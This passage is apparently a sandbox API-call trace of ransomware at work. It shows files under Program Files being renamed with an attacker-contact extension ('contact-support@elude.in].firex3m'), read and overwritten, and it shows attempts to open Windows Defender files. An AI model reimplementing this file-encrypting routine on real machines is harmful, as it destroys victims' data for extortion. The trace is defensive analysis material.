returned 0x630000 [0217.693] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f4298 [0217.693] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.693] ReadFile (in: hFile=0x6d4, lpBuffer=0x70f3ee8, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3ee8*, lpNumberOfBytesRead=0x5afff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.695] GetProcessHeap () returned 0x630000 [0217.695] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0217.695] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.695] WriteFile (in: hFile=0x6d4, lpBuffer=0x70f4298*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4298*, lpNumberOfBytesWritten=0x5afff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.695] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.695] WriteFile (in: hFile=0x6d4, lpBuffer=0x70f4437*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4437*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.696] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.696] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.696] CloseHandle (hObject=0x6d4) returned 1 [0217.697] GetProcessHeap () returned 0x630000 [0217.697] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f4298 | out: hHeap=0x630000) returned 1 [0217.697] GetProcessHeap () returned 0x630000 [0217.697] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f3ee8 | out: hHeap=0x630000) returned 1 [0217.697] GetProcessHeap () returned 0x630000 [0217.697] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0217.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47b5bc8c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x5affd20, dwReserved1=0x70f3ee8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5500 [0217.697] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0217.697] Sleep (dwMilliseconds=0x1) [0217.712] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x5afff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgrade.xml") returned 1 [0217.712] GetProcessHeap () returned 0x630000 [0217.712] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a4) returned 0x6fe3bb0 [0217.712] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0217.713] CloseHandle (hObject=0x6d4) returned 1 [0217.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.713] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0217.714] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0217.714] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0217.714] GetProcessHeap () returned 0x630000 [0217.714] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6eff58 [0217.714] GetProcessHeap () returned 0x630000 [0217.714] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ef760 [0217.714] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.714] ReadFile (in: hFile=0x6d4, lpBuffer=0x6eff58, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eff58*, lpNumberOfBytesRead=0x5afff0c*=0x260, lpOverlapped=0x0) returned 1 [0217.718] GetProcessHeap () returned 0x630000 [0217.718] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0217.718] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.718] WriteFile (in: hFile=0x6d4, lpBuffer=0x6ef760*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef760*, lpNumberOfBytesWritten=0x5afff0c*=0x260, lpOverlapped=0x0) returned 1 [0217.718] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.718] WriteFile (in: hFile=0x6d4, lpBuffer=0x6ef9bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef9bf*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.718] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.718] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.718] CloseHandle (hObject=0x6d4) returned 1 [0217.718] GetProcessHeap () returned 0x630000 [0217.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef760 | out: hHeap=0x630000) returned 1 [0217.718] GetProcessHeap () returned 0x630000 [0217.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eff58 | out: hHeap=0x630000) returned 1 [0217.719] GetProcessHeap () returned 0x630000 [0217.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0217.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47b8205f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x5affd20, dwReserved1=0x6eff58, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5280 [0217.719] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0217.719] Sleep (dwMilliseconds=0x1) [0217.728] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\index.html", len=0x6f | out: pbstr=0x5afff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\index.html") returned 1 [0217.728] GetProcessHeap () returned 0x630000 [0217.728] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a0) returned 0x6fe3bb0 [0217.728] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0217.728] CloseHandle (hObject=0x6d4) returned 1 [0217.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.729] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0217.729] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0217.729] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0217.730] GetProcessHeap () returned 0x630000 [0217.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x74351a8 [0217.730] GetProcessHeap () returned 0x630000 [0217.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x71c0048 [0217.730] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.730] ReadFile (in: hFile=0x6d4, lpBuffer=0x74351a8, nNumberOfBytesToRead=0xa0a0, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x74351a8*, lpNumberOfBytesRead=0x5afff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0223.528] GetProcessHeap () returned 0x630000 [0223.528] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0223.529] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.529] WriteFile (in: hFile=0x6d4, lpBuffer=0x71c0048*, nNumberOfBytesToWrite=0xa0a0, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesWritten=0x5afff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0224.739] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.739] WriteFile (in: hFile=0x6d4, lpBuffer=0x71ca0e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ca0e7*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.560] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.560] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.560] CloseHandle (hObject=0x6d4) returned 1 [0225.735] GetProcessHeap () returned 0x630000 [0225.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0225.735] GetProcessHeap () returned 0x630000 [0225.736] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74351a8 | out: hHeap=0x630000) returned 1 [0225.736] GetProcessHeap () returned 0x630000 [0225.736] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0226.662] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c651daf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0cb, dwReserved0=0xa807496, dwReserved1=0x74351a0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5400 [0226.662] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0226.662] Sleep (dwMilliseconds=0x1) [0226.676] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\Offline\\OfflineScannerShell.exe", len=0x41 | out: pbstr=0x5afff7c*="C:\\Program Files\\Windows Defender\\Offline\\OfflineScannerShell.exe") returned 1 [0226.676] GetProcessHeap () returned 0x630000 [0226.676] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51e8) returned 0x6fe3bb0 [0226.677] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\Offline\\OfflineScannerShell.exe" (normalized: "c:\\program files\\windows defender\\offline\\offlinescannershell.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.680] Sleep (dwMilliseconds=0x1) [0226.686] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\en-US\\ProtectionManagement_Uninstall.mfl", len=0x4a | out: pbstr=0x5afff7c*="C:\\Program Files\\Windows Defender\\en-US\\ProtectionManagement_Uninstall.mfl") returned 1 [0226.686] GetProcessHeap () returned 0x630000 [0226.686] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51c4) returned 0x6fe3bb0 [0226.686] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\ProtectionManagement_Uninstall.mfl" (normalized: "c:\\program files\\windows defender\\en-us\\protectionmanagement_uninstall.mfl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.694] Sleep (dwMilliseconds=0x1) [0226.701] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\index.html", len=0x6f | out: pbstr=0x5afff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\index.html") returned 1 [0226.701] GetProcessHeap () returned 0x630000 [0226.701] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5178) returned 0x6fe3bb0 [0226.701] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0226.722] CloseHandle (hObject=0x5e4) returned 1 [0226.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.722] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.059] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.059] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d54c0 [0227.059] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0227.059] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0227.060] GetProcessHeap () returned 0x630000 [0227.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8fc1) returned 0x717648 [0227.060] GetProcessHeap () returned 0x630000 [0227.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8fc1) returned 0x72d3518 [0227.061] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.061] ReadFile (in: hFile=0x5e4, lpBuffer=0x717648, nNumberOfBytesToRead=0x8fa0, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesRead=0x5afff0c*=0x8fa0, lpOverlapped=0x0) returned 1 [0232.383] GetProcessHeap () returned 0x630000 [0232.383] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0232.383] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.383] WriteFile (in: hFile=0x5e4, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0x8fa0, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x5afff0c*=0x8fa0, lpOverlapped=0x0) returned 1 [0233.342] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.342] WriteFile (in: hFile=0x5e4, lpBuffer=0x72dc4b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72dc4b7*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.912] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.912] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.912] CloseHandle (hObject=0x5e4) returned 1 [0233.921] GetProcessHeap () returned 0x630000 [0233.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0233.921] GetProcessHeap () returned 0x630000 [0233.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0233.921] GetProcessHeap () returned 0x630000 [0233.921] HeapFree (in: hHeap=0x630000, 